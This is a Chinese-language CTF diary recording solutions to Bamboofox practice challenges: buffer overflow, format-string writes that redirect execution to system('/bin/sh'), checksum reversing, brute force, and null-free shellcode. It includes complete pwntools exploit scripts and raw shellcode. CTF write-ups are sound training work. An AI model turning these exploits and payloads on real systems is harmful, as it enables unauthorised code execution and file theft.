# Bamboofox CTF 日記簿 ###### tags: `ctf` ## contact Email : fdgkhdkgh@gmail.com ## magic 題目連結 https://bamboofox.cs.nctu.edu.tw/courses/1/challenges/1 沒想到第一題就把我幹掉了= = 找到可以buffer overflow的地方,比較討厭的是他會用do_magic把所有東西都跟亂數取xor。 程式碼應該沒有任何的隨機變動。 目前是觀察到,scanf會在最後面幫我們加上0x00 scanf 在0x00後面,是可以加入其他東西的,所以可以騙過strlen的檢查 但是為什麼就是跳不到0x0804860d這行呢QQ 頭好痛ㄚ > [name=Jasper Yu] 未看先猜\x0d > [name=fdgkhdkgh] <3感謝XDD 結果跳到0x08048613就行了 我真的是滿頭問號 > [name=Hi] 跟stack 沒關是scanf 會把0d吃掉 > [name=fdgkhdkgh] <3感謝XDD沒想到這筆記是公開的.... 我猜是因為前面幾行ENTER的時候會動到ebp跟esp 導致stack跳到不合法的地方 這部分可以再深入研究 vim + xxd = binary editor https://blog.gtwang.org/useful-tools/how-to-use-vim-as-a-hex-editor/ gdb and input file https://stackoverflow.com/questions/4758175/how-to-use-gdb-with-input-redirection 成功了(2018/7/7) payload(python): ``` #!/usr/bin/env python # -*- coding: utf-8 -*- from pwn import * host = "bamboofox.cs.nctu.edu.tw" port = "10000" r = remote(host,port) #遠端連線 #r = process("./magic") #本地測試 words = r.recvuntil(":") print words r.sendline("aabb") words = r.recvuntil(":") print words #r.sendline("a"*70+"\x0a\x00"+"\x0d\x86\x04\x08") #r.sendline("a"*1+"\x0a"+"a"*70+"\x0d\x86\x04\x08") r.sendline("a"*2+"\x00"+"1"*69+p32(0x08048613)+"aaaa") #r.sendline("a"*72) #r.send("a"*36 +'\x00'+"a"*35) #r.sendline("\x0a\x0a\x0a"+"a"*72) #words = r.recv(100) #print words #words = r.recvuntil(":") #print words #r.sendline("a"*72) #804860d r.interactive() ``` ## Monkey1 題目連結 https://bamboofox.cs.nctu.edu.tw/courses/1/challenges/2 this problem need to learn format string first collect some format string things angel boy : format string https://drive.google.com/drive/u/0/folders/1mrgxK1dVVtD34rPf3H7unyC0wzgP3Y66 覺得有兩個方式 第一個方式是改寫banana的值 第二個是改寫system的值 在本地端測試的時候,竟然不小心用64bit的測試,難怪什麼鳥都測不出來 = = http://koukaipan.pixnet.net/blog/post/23195769-%5B解決%5D-如何用64bit-gcc編譯32bit程式 我猜要先leak出banana在stack中的位置 function "flag" 除了在banana是對的情況下,會印出flag以外 假如banana是錯的,也可以印出banana的值 fgets中間能不能塞入\x00,來躲過strlen的檢查,可以試試看 可以喔,可以塞\x00 在本地端調適,並且用gdb觀看的方法: 用pwntool r = process("./monkey") python hi.py 會看到./monkey的process 然後再sudo gdb -p pid 就可以用gdb看了 很多需要有\x00輸入的攻擊,應該都需要用pwntool來輸入\x00 並且用gdb觀看 stack 0xffffd544 --> banana 0xffffd540 --> choice 0xffffd100 --> fget 發生時,stack最上方的位置 0xffffd100 --> 0xffffd11c ("123\n") 0xffffd11c --> temp 選2 輸入%269$p 可以leak出choice的地址,然後banana的位址就在附近 leak出來的位址加上4,就是banana的位址 之後試試看能不能利用這個stack的地址,寫值給banana 答案是可以 分兩次傳,把0x3132000a傳給變數banana python loop https://www.w3schools.com/python/python_for_loops.asp python initialisint an array https://stackoverflow.com/questions/6142689/initialising-an-array-of-fixed-size-in-python python char to int http://mini-stable.blogspot.com/2015/03/python-int-hex-char-string.html python list to string https://stackoverflow.com/questions/5618878/how-to-convert-list-to-string 成功了(2018/7/8) payload(python): ``` #!/usr/bin/env python # -*- coding: utf-8 -*- from pwn import * host = "bamboofox.cs.nctu.edu.tw" port = "11000" r = remote(host,port) #r = process("./monkey") words = r.recvuntil("choice!\n") print words r.sendline("2") words = r.recvuntil("out.") print words r.sendline("%269$p") words = r.recvuntil("ce!") words = words + "hihi" print "address is " + words address_string = [None]*10 for x in range(1,11): address_string[x-1] = words[x] #print "address[10]=" + address_string[10] address_string = ''.join(address_string) address_int = int(address_string,16) address_int_1 =address_int+4 address_int_2 =address_int+6 address_string_1 = p32(address_int_1) address_string_2 = p32(address_int_2) print "p64(address_string) = " + address_string_1 r.sendline("2") words = r.recvuntil("out.") print words r.sendline(address_string_1+address_string_2+"%2c%7$n%12584c%8$n") #words = r.recvuntil("ters") #print words #r.sendline("gggg\x00aa") #804860d r.interactive() ``` ## Monkey 2 題目連結 https://bamboofox.cs.nctu.edu.tw/courses/1/challenges/3 跟上一題一模一樣,不過這題要拿到shell int 為4個bytes , 用%n寫值時要注意 主要是想要攻擊這段 ``` system("cat /home/ctf/graph"); ``` 但是"cat /home/ctf/graph"是放在不可寫段 所以可能沒辦法直接寫值進去 想法 1.構造一個/bin/sh字串 2. 在program要離去的時候(ret) 把stack打成這樣 |system@plt那一行的address| |-| |/bin/sh的位址| 要進行這樣的操作,需要在一次執行program中,寫入8byte(兩個位址) 並且不會被canary檢查抓到 ret == pop eip https://stackoverflow.com/questions/4292447/does-ret-instruction-cause-esp-register-added-by-4 於是在退回到system@plt那一行的時候 stack頂端是/bin/sh的位址 我好蠢啊~~這不就有現成可以構造/bin/sh的程式可以用嗎? change name,把name改成/bin/sh就可以了!! 成功了(2018/7/8) 方法跟我上面說的一樣 1. leak出stack的位址 2. 把name改成/bin/sh 再把return address改到print_monkey的system那邊 ret address下面那行,改成我們name的位址 如此就可以system("/bin/sh") 另外一個解法(我猜的啦): gothijacking(因為flag上面寫gothijacking= =)strlen,把它改成system 然後在strlen(name的時候,就會變成system("/bin/sh")) 程式碼有點亂= =,sorry寫碼習慣有點差 playload(python): ``` #!/usr/bin/env python # -*- coding: utf-8 -*- from pwn import * host = "bamboofox.cs.nctu.edu.tw" port = "11000" r = remote(host,port) #r = process("./monkey") words = r.recvuntil("choice!\n") print words r.sendline("1") #words = r.recvuntil("ters") #正式連遠端的時候,把這兩行刪掉 #print words # r.sendline("/bin/sh\x00") words = r.recvuntil("choice!\n") print words r.sendline("2") words = r.recvuntil("out.") print words print words r.sendline("%269$p") words = r.recvuntil("ce!") print words address_str_choice = [None]*10 for x in range(1,11): address_str_choice[x-1] = words[x] address_str_choice = ''.join(address_str_choice) address_int_choice = int(address_str_choice,16) address_int_ret_1 = address_int_choice - 0x14 address_int_ret_2 = address_int_ret_1 + 0x2 address_int_binsh_1 = address_int_ret_1 + 0x4 address_int_binsh_2 = address_int_binsh_1 + 0x2 address_int_banan_1 = address_int_choice + 0x4 address_int_banan_2 = address_int_choice + 0x6 addr_str_ret_1 = p32(address_int_ret_1) addr_str_ret_2 = p32(address_int_ret_2) addr_str_binsh_1 = p32(address_int_binsh_1) addr_str_binsh_2 = p32(address_int_binsh_2) addr_str_banan_1 = p32(address_int_banan_1) addr_str_banan_2 = p32(address_int_banan_2) address_int_sh = address_int_choice + 8 address_str_sh = p32(address_int_sh) print "We want to jump to 0x804875a" print "position of sh string =" + hex(address_int_sh) print "position of ret = " + hex(address_int_ret_1) print "addr_int_binsh_1 =" + hex(address_int_binsh_1) r.sendline("2") words = r.recvuntil("out.") print words A = (address_int_sh%65536) - 0x804 B = 0x875a - address_int_sh%65536 C = (address_int_sh/65536) - 0x875a print "We want to jump to 0x804875a" print "position of sh string =" + hex(address_int_sh) print "position of ret = " + hex(address_int_ret_1) print "addr_int_binsh_1 =" + hex(address_int_binsh_1) print "A=" + str(A) print "B=" + str(B) print "C=" + str(C) #r.sendline(addr_str_binsh_1+addr_str_binsh_2+addr_str_ret_1+addr_str_ret_2+"%2036c%10$hn%32598c%9$hn%7$hn") r.sendline(addr_str_binsh_1+addr_str_binsh_2+addr_str_ret_1+addr_str_ret_2+"%2036c%10$hn%"+str(A)+"c%7$hn%"+str(B)+"c%9$hn%"+str(C)+"c%8$hn") ''' if B > 0: r.sendline(addr_str_binsh_1+addr_str_binsh_2+addr_str_ret_1+addr_str_ret_2+"%2036c%10$hn%"+str(A)+"c%7$hn%"+str(B)+"c%9$hn%"+str(C)+"c%8$hn") else : A = address_int_sh%65536 - 0x875a B = address_int_sh/65536 - address_int_sh%65536 print "A=" + str(A) print "B=" + str(B) r.sendline(addr_str_binsh_1+addr_str_binsh_2+addr_str_ret_1+addr_str_ret_2+"%2036c%10$hn%32598c%9$hn%"+str(A)+"c%7$hn%c"+str(B)+"%8$hn") ''' r.interactive() ``` ## ccr 題目連結:https://bamboofox.cs.nctu.edu.tw/courses/1/challenges/67 pwn打久了,頭有點酸= =,來玩玩其他的 這題目名稱有點狂ㄚ 成功了(2018/7/10) 有點懶,直接用他的main.c繼續寫,看懂原本的main.c程式碼就可以解出來了。 payload(c): ``` #include<stdio.h> #include<stdlib.h> #include<unistd.h> #include<string.h> #define SIZE 40 int hash[36] = {405, 434, 457, 506, 467, 449, 465, 398, 381, 459, 465, 466, 538, 542, 546, 467, 449, 453, 463, 448, 523, 457, 448, 442, 455, 452, 521, 536, 463, 460, 467, 466, 453, 467, 483, 372}; int count(char* s, int start, int end) { int sum = 0; for (int i = start; i < end; i++) sum += s[i]; return sum; } int checksum(char* s) { for (int i = 0; i + 5 <= SIZE; i++) if (count(s, i, i + 5) != hash[i]) return 0; return 1; } int main() { char s[40]; /*printf("Hint: flag is \"FLAG{...}\" format.\n"); read(0, s, 40); if (checksum(s)) printf("You passed.\n"); else printf("Maybe try again?\n");*/ s[0]='F'; s[1]='L'; s[2]='A'; s[3]='G'; s[4]='{'; for(int i=0;i<35;i++) { printf("hash[i+1]=%d,hash[i]=%d,s[i]=%d,next=%d\n",hash[i+1],hash[i],s[i],(hash[i+1]-(hash[i]-s[i]))); s[i+5] = hash[i+1]-(hash[i]-s[i]); } for(int i=0;i<40;i++) { printf("%c",s[i]); } printf("\n"); } ``` ## suicide 題目連結:https://bamboofox.cs.nctu.edu.tw/courses/1/challenges/68 成功了(2018/7/10) 跟上一題幾乎一樣,所以就用上一題的code來改。 code:(c) ``` #include<stdio.h> #include<stdlib.h> #include<unistd.h> #include<string.h> #define SIZE 60 int hash[59] = {5320,4940,4615,8733,14145,13455,12285,10395,10395,10500,10100,3232,3200,11100,11211,11615,12650,4290,4524,3712,3680,12765,11988,12744,11918,3232,3584,12768,12654,10878,10584,10908,11009,4796,1408,3136,11466,13572,3712,3584,12096,10476,11737,12705,11550,11330,3296,3200,10100,9797,9700,3200,3200,11100,11211,11615,5290,5750,1250}; int count(char* s, int start, int end) { int sum = 1; for (int i = start; i < end; i++) sum *= s[i]; return sum; } int checksum(char* s) { for (int i = 0; i + 2 <= SIZE; i++) if (count(s, i, i + 2) != hash[i]) return 1; return 0; } int main() { char s[60]; printf("Hint: flag is \"FLAG{...}\" format.\n"); /* read(0, s, 60); if (checksum(s)) printf("You passed."); else printf("Maybe try again?"); */ s[0]='F'; s[1]='L'; s[2]='A'; s[3]='G'; s[4]='{'; for(int i=0;i<59;i++) { printf("hash[i+1]=%d,hash[i]=%d,s[i]=%d,next=%d\n",hash[i+1],hash[i],s[i],(hash[i+1]/(hash[i]/s[i]))); s[i+2] = hash[i+1]/(hash[i]/s[i]); } for(int i=0;i<59;i++) { printf("%c",s[i]); } printf("\n"); } ``` ## angrman 題目連結:https://bamboofox.cs.nctu.edu.tw/courses/1/challenges/69 loadRecord(void) loadRecord的read會把東西塞到bss段的secret裡面 並且會檢查輸入的東西c rbp - 0x4 是for loop 的 i 因為read會自動補\n,所以假如沒多做什麼的話,會因為\n的關係而走到exitAngrman ``` if c <= 0x2f jump to exit if c <= 0x39 not jump , and exit 簡而言之,只能輸入0x2f~0x39的值 ``` --- s[] - > secret key - > key Ha(s[0],s[1],s[2],s[3]) rbp-0x4 = s[0] rbp-0x8 = s[1] rbp-0xc = s[2] ``` B = s[0] - key[1] A = key[0] xor B C = s[1] + key[3] D = C xor A E = s[2] and s[1] F = E + s[2] G = F - s[0] H = G xor D key[0] = H I = s[0] - key[1] J = key[0] xor I L = s[1] + key[3] M = H xor L N = s[2] + s[1] O = M xor N key[1] = O P = s[0] + key[1] Q = key[0] xor P R = ``` 程式碼看得好痛苦。。。決定使用暴力解 觀察Ha , Haya 各個function的參數是什麼,再針對參數進行暴力解。 ex: Ha的參數是secret,secret+5,secret+10 Haya 的參數是secret[1],secret[6],secret[11] Hayaku:secret[2],secret[7],secret[12] start :secret[3],secret[8],secret[13] Buster:secret[4],secret[9],secret[14] 所以針對這三個參數進行暴力解 依據猜測:總共最慘需要跑5000次就可以找出答案。 這個方法麻煩的地方是,他在每個function下面塞一個sleep 導致要等一段時間 secret[0] ==1 secret[5] ==3 secret[10]==3 secret[1] ==2 secret[6] ==2 secret[11]==1 secret[2] ==3 secret[7] ==3 secret[12]==3 secret[3] ==1 secret[8] ==2 secret[13]==3 secret[4] ==1 secret[9] ==1 secret[14]==1 123113232131331 成功了(2018/7/11) code(python): ``` #!/usr/bin/env python # -*- coding: utf-8 -*- from pwn import * for number in range(0,1000): r = process("./angrman") words = r.recvuntil("AME") print words r.sendline("2") # 第一個數字=number/100 # 第二個數字=(number%100)/10 # 第三個數字=number%10 first = number / 100 second = (number%100)/10 third = number%10 print "first:" + str(first) print "second:" + str(second) print "third:" + str(third) string = "1231"+str(first)+"3232"+str(second)+"3133"+str(third)+"0" time.sleep(0.1) r.sendline(string) words = r.recvuntil("\n") print words words = r.recvuntil("\n") print words words = r.recvuntil("\n") print words words = r.recvuntil("\n") print words words = r.recvuntil("\n") print words words = r.recvuntil("\n") print words print str(words.find("died")) if words.find("died")== -1: break #r.interactive() print str(number) ``` 很久之後才知道,這題應該要用symbolic execution去解它.... https://github.com/angr/angr https://github.com/Z3Prover/z3 https://github.com/klee/klee https://github.com/S2E/s2e-env ## AIS3 Web1 題目連結:https://bamboofox.cs.nctu.edu.tw/courses/1/challenges/14 ## AIS3 Web3 題目連結:https://bamboofox.cs.nctu.edu.tw/courses/1/challenges/15 ## ROP 題目連結:https://bamboofox.cs.nctu.edu.tw/courses/1/challenges/4 很怪,用open拿file descriptor,再用read把東西寫到buf裡,再用write寫到stdout,沒有用。 所以就直接用execve拿shell eax=0xb,ebx=/bin/sh的位址,ecx=0,edx=0 成功了(2018/7/20) 解答:1,13,13,13,4,10,9,7,7,12,4,2,2,8,8,8,8,8,0 ## orw 題目連結:https://bamboofox.cs.nctu.edu.tw/courses/1/challenges/5 一開使的shellcode一直打不進去。原來是要求null-free(攻擊字串間不能夠有\x00) 所以就稍微修改一下 成功(2018/7/23) ``` global _start section .text _start: ;xor eax,eax ;inc eax ;shl eax,6 ;inc eax ;inc eax ;inc eax ;eax = 67 ;xor ebx,ebx ;inc ebx ;shl ebx,6 ;dec ebx ;dec ebx ;dec ebx ;mov ecx,eax ;shl ecx,2 ;add ecx,ebx ;push ecx ;push 0x6761 mov eax,0x67611111 shr eax,16 push eax push 0x6c662f66 push 0x74632f65 push 0x6d6f682f mov ebx,esp ;mov eax,0x5 xor eax,eax inc eax inc eax inc eax inc eax inc eax ;mov ecx,0x0 xor ecx,ecx ;mov edx,0x0 xor edx,edx int 0x80 mov ecx,ebx mov ebx,eax ;mov edx,0x30 xor edx,edx inc edx shl edx,12 ;mov eax,0x3 xor eax,eax inc eax inc eax inc eax int 0x80 ;mov ebx,0x1 xor ebx,ebx inc ebx ;mov eax,0x4 xor eax,eax inc eax inc eax inc eax inc eax int 0x80 ``` 用nasm -f elf32 hi.s ld -m elf_i386 hi.o -o a.bin產生執行檔a.bin 再用objdump -D a.bin > report來看看binary長怎樣 ``` 8048060: b8 11 11 61 67 mov $0x67611111,%eax 8048065: c1 e8 10 shr $0x10,%eax 8048068: 50 push %eax 8048069: 68 66 2f 66 6c push $0x6c662f66 804806e: 68 65 2f 63 74 push $0x74632f65 8048073: 68 2f 68 6f 6d push $0x6d6f682f 8048078: 89 e3 mov %esp,%ebx 804807a: 31 c0 xor %eax,%eax 804807c: 40 inc %eax 804807d: 40 inc %eax 804807e: 40 inc %eax 804807f: 40 inc %eax 8048080: 40 inc %eax 8048081: 31 c9 xor %ecx,%ecx 8048083: 31 d2 xor %edx,%edx 8048085: cd 80 int $0x80 8048087: 89 d9 mov %ebx,%ecx 8048089: 89 c3 mov %eax,%ebx 804808b: 31 d2 xor %edx,%edx 804808d: 42 inc %edx 804808e: c1 e2 0c shl $0xc,%edx 8048091: 31 c0 xor %eax,%eax 8048093: 40 inc %eax 8048094: 40 inc %eax 8048095: 40 inc %eax 8048096: cd 80 int $0x80 8048098: 31 db xor %ebx,%ebx 804809a: 43 inc %ebx 804809b: 31 c0 xor %eax,%eax 804809d: 40 inc %eax 804809e: 40 inc %eax 804809f: 40 inc %eax 80480a0: 40 inc %eax 80480a1: cd 80 int $0x80 ``` 很好,沒有null byte(\x00) 可以用這個程式來檢驗自己的shellcode ``` #include <stdio.h> #include <string.h> unsigned char code[] = \ "\x68\x61\x67\x00\x00\x68\x66\x2f\x66\x6c\x68\x65\x2f\x63\x74\x68\x2f\x68\x6f\x6d\x89\xe3\xb8\x05\x00\x00\x00\xb9\x00\x00\x00\x00\xba\x00\x00\x00\x00\xcd\x80\x89\xd9\x89\xc3\xba\x30\x00\x00\x00\xb8\x03\x00\x00\x00\xcd\x80\xbb\x01\x00\x00\x00\xb8\x04\x00\x00\x00\xcd\x80"; main() { printf("Shellcode Length: %d\n", strlen(code)); int (*ret)() = (int(*)())code; ret(); } ``` 最後用pwntool送出payload ``` #!/usr/bin/env python # -*- coding: utf-8 -*- from pwn import * host = "bamboofox.cs.nctu.edu.tw" port = "11100" r = remote(host,port) words = r.recvuntil(":") print words payload = "\xb8\x11\x11\x61\x67\xc1\xe8\x10\x50\x68\x66\x2f\x66\x6c\x68\x65\x2f\x63\x74\x68\x2f\x68\x6f\x6d\x89\xe3\x31\xc0\x40\x40\x40\x40\x40\x31\xc9\x31\xd2\xcd\x80\x89\xd9\x89\xc3\x31\xd2\x42\xc1\xe2\x0c\x31\xc0\x40\x40\x40\xcd\x80\x31\xdb\x43\x31\xc0\x40\x40\x40\x40\xcd\x80" r.sendline(payload) r.interactive() ``` 可以參考x86的system call table ## orw64 題目連結:https://bamboofox.cs.nctu.edu.tw/courses/1/challenges/6 就跟上一題差不多,只是變成64bit 注意64bit的system call在asm裡就是syscall而不是int 0x80 2018/7/23 payload: ``` #!/usr/bin/env python # -*- coding: utf-8 -*- from pwn import * host = "bamboofox.cs.nctu.edu.tw" port = "11101" r = remote(host,port) #r = process("./launcher64") words = r.recvuntil(":") print words payload = "\x48\xb8\x11\x11\x66\x2f\x66\x6c\x61\x67\x48\xc1\xe8\x10\x50\x48\xb8\x2f\x68\x6f\x6d\x65\x2f\x63\x74\x50\x48\x31\xc0\x48\xff\xc0\x48\xff\xc0\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x0f\x05\x48\x89\xc7\x48\x31\xc0\x48\x89\xe6\x48\x31\xd2\x48\xff\xc2\x48\xc1\xe2\x06\x0f\x05\x48\x31\xc0\x48\xff\xc0\x48\x31\xff\x48\xff\xc7\x0f\x05" r.sendline(payload) r.interactive() ``` ## ret2libc